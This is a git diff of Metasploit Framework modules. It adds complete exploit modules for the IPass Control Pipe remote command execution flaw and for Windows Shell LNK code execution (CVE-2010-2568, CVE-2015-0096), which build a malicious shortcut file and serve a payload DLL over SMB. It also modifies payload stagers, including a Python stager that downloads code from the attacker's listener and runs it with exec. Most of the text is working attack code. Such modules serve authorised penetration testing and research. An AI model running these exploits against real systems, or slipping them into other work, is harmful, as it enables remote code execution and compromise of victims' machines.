# return nil since we could not write the file on the target host.
|
||||
|
|
|
@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
|
||||
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ],
|
||||
[ 'OSVDB', '100827' ]
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IPass Control Pipe Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the IPass Client service. This service provides a
|
||||
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
|
||||
to force the service to load a DLL from a SMB share.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Matthias Kaiser', # Vulnerability discovery
|
||||
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0925' ],
|
||||
[ 'OSVDB', '117423' ],
|
||||
[ 'BID', '72265' ],
|
||||
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 21 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
|
||||
end
|
||||
|
||||
def check
|
||||
echo_value = rand_text_alphanumeric(rand(10) + 10)
|
||||
|
||||
begin
|
||||
response = send_command("System.Echo #{echo_value}")
|
||||
if response =~ Regexp.new(echo_value)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error("Connection failed: #{e.class}: #{e}")
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
rescue Rex::Proto::SMB::Exceptions::LoginError => e
|
||||
vprint_error('Connection reset during login')
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
|
||||
self.share = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
def primer
|
||||
self.file_contents = generate_payload_dll
|
||||
print_status("File available on #{unc}...")
|
||||
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
|
||||
end
|
||||
|
||||
def send_command(command)
|
||||
# The connection is closed after each command, so we have to reopen it
|
||||
connect
|
||||
smb_login
|
||||
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
|
||||
pipe.write(Rex::Text.to_unicode(command))
|
||||
response = Rex::Text.to_ascii(pipe.read)
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
begin
|
||||
Timeout.timeout(datastore['SMB_DELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
# do nothing... just finish exploit and stop smb server...
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Shell LNK Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the handling of Windows
|
||||
Shortcut files (.LNK) that contain an icon resource pointing to a
|
||||
malicious DLL. This creates an SMB resource to provide the payload
|
||||
inside a DLL, and generates a LNK file which must be sent to the
|
||||
target.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm', # Module itself
|
||||
'jduck', # WebDAV implementation, UNCHOST var
|
||||
'B_H' # Clean LNK template
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-2568'],
|
||||
['OSVDB', '66387'],
|
||||
['MSB', 'MS10-046'],
|
||||
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 16 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS', 'FILE_NAME')
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
self.file_contents = generate_payload_dll
|
||||
self.file_name = "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
|
||||
print_status("File available on #{unc}...")
|
||||
end
|
||||
|
||||
def primer
|
||||
lnk = generate_link(unc)
|
||||
file_create(lnk)
|
||||
print_status('The LNK file must be sent or shared with the target...')
|
||||
end
|
||||
|
||||
def generate_link(unc)
|
||||
uni_unc = unc.unpack('C*').pack('v*')
|
||||
path = ''
|
||||
path << [
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
path << uni_unc
|
||||
|
||||
# LinkHeader
|
||||
ret = [
|
||||
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
|
||||
idlist_data = ''
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [path.length + 2].pack('v')
|
||||
idlist_data << path
|
||||
idlist_data << [0x00].pack('v') # TERMINAL WOO
|
||||
|
||||
# LinkTargetIDList
|
||||
ret << [idlist_data.length].pack('v') # IDListSize
|
||||
ret << idlist_data
|
||||
|
||||
# ExtraData blocks (none)
|
||||
ret << [rand(4)].pack('V')
|
||||
|
||||
# Patch in the LinkFlags
|
||||
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
|
||||
ret
|
||||
end
|
||||
end
|
|
@ -0,0 +1,139 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
|
||||
attr_accessor :exploit_dll_name
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Shell LNK Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
|
||||
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
|
||||
DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
|
||||
LNK file which must be sent to the target. This module has been tested successfully on
|
||||
Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
|
||||
installed.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Heerklotz', # Vulnerability discovery
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0096'],
|
||||
['MSB', 'MS15-020'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS', 'FILE_NAME')
|
||||
end
|
||||
|
||||
def smb_host
|
||||
"\\\\#{srvhost}\\#{share}\\"
|
||||
end
|
||||
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
self.file_contents = generate_payload_dll
|
||||
random_char = rand_text_alpha(1)
|
||||
self.file_name = "#{random_char}.dll"
|
||||
prefix = "#{random_char} "
|
||||
random_length = 257 - smb_host.length - file_name.length - prefix.length
|
||||
self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"
|
||||
|
||||
print_status("Payload available on #{unc}...")
|
||||
print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
|
||||
end
|
||||
|
||||
def primer
|
||||
lnk = generate_link("#{smb_host}#{exploit_dll_name}")
|
||||
file_create(lnk)
|
||||
print_status('The LNK file must be sent or shared with the target...')
|
||||
end
|
||||
|
||||
def generate_link(unc)
|
||||
uni_unc = unc.unpack('C*').pack('v*')
|
||||
path = ''
|
||||
path << [
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
path << uni_unc
|
||||
|
||||
# LinkHeader
|
||||
ret = [
|
||||
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
|
||||
idlist_data = ''
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [path.length + 2].pack('v')
|
||||
idlist_data << path
|
||||
idlist_data << [0x00].pack('v') # TERMINAL WOO
|
||||
|
||||
# LinkTargetIDList
|
||||
ret << [idlist_data.length].pack('v') # IDListSize
|
||||
ret << idlist_data
|
||||
|
||||
# ExtraData blocks (none)
|
||||
ret << [rand(4)].pack('V')
|
||||
|
||||
# Patch in the LinkFlags
|
||||
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
|
||||
ret
|
||||
end
|
||||
end
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 209
|
||||
CachedSize = 40
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 255
|
||||
CachedSize = 86
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/core'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 226
|
||||
CachedSize = 57
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 243
|
||||
CachedSize = 74
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -17,7 +17,7 @@ require 'msf/core'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 219
|
||||
CachedSize = 97
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/core'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 158
|
||||
CachedSize = 36
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 158
|
||||
CachedSize = 36
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 122
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Single
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 122
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Single
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/core'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 184
|
||||
CachedSize = 62
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 212
|
||||
CachedSize = 90
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 200
|
||||
CachedSize = 78
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/core'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 179
|
||||
CachedSize = 57
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 184
|
||||
CachedSize = 62
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 191
|
||||
CachedSize = 69
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 190
|
||||
CachedSize = 68
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 5500
|
||||
CachedSize = 5499
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
|
@ -40,12 +40,22 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def config
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=http://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "/INITJM\n"
|
||||
c << "/"
|
||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 6308
|
||||
CachedSize = 6307
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
|
@ -42,12 +42,22 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def config
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=https://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "/INITJM\n"
|
||||
c << "/"
|
||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 247
|
||||
CachedSize = 78
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 237
|
||||
CachedSize = 68
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
# Linux Bind TCP/IPv6 Stager
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 207
|
||||
CachedSize = 85
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -18,7 +18,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 185
|
||||
CachedSize = 63
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -18,7 +18,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 201
|
||||
CachedSize = 79
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -18,7 +18,7 @@ require 'msf/core/handler/find_tag'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 159
|
||||
CachedSize = 37
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
# Linux Reverse TCP/IPv6 Stager
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 199
|
||||
CachedSize = 77
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -18,7 +18,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 172
|
||||
CachedSize = 50
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -18,7 +18,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 193
|
||||
CachedSize = 71
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 442
|
||||
CachedSize = 446
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
|
@ -26,9 +26,9 @@ module Metasploit3
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -41,21 +41,32 @@ module Metasploit3
|
|||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
target_url = 'http://'
|
||||
target_url << lhost
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "http://[#{lhost}]"
|
||||
else
|
||||
target_url = "http://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
cmd = "import sys\n"
|
||||
if datastore['PROXYHOST'].blank?
|
||||
if proxy_host == ''
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
|
@ -66,4 +77,36 @@ module Metasploit3
|
|||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URL that fits into our available space
|
||||
#
|
||||
def generate_callback_uri
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 306
|
||||
CachedSize = 311
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 326
|
||||
CachedSize = 331
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -82,70 +82,74 @@ module Metasploit3
|
|||
p[i, u.length] = u
|
||||
|
||||
# patch proxy info
|
||||
proxyhost = datastore['PROXYHOST'].to_s
|
||||
proxyport = datastore['PROXYPORT'].to_s || "8080"
|
||||
proxyhost = datastore['PayloadProxyHost'].to_s
|
||||
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
|
||||
|
||||
if Rex::Socket.is_ipv6?(proxyhost)
|
||||
proxyhost = "[#{proxyhost}]"
|
||||
end
|
||||
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if datastore['PROXY_TYPE'].to_s == 'HTTP'
|
||||
if datastore['PayloadProxyType'].to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
|
||||
proxyloc = p.index("PROXYHOST:PORT")
|
||||
p = p.gsub("PROXYHOST:PORT",proxyinfo)
|
||||
|
||||
# patch the call
|
||||
calloffset = proxyinfo.length
|
||||
calloffset += 1
|
||||
# Patch the call
|
||||
calloffset = proxyinfo.length + 1
|
||||
p[proxyloc-4] = [calloffset].pack('V')[0]
|
||||
|
||||
#Optional authentification
|
||||
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
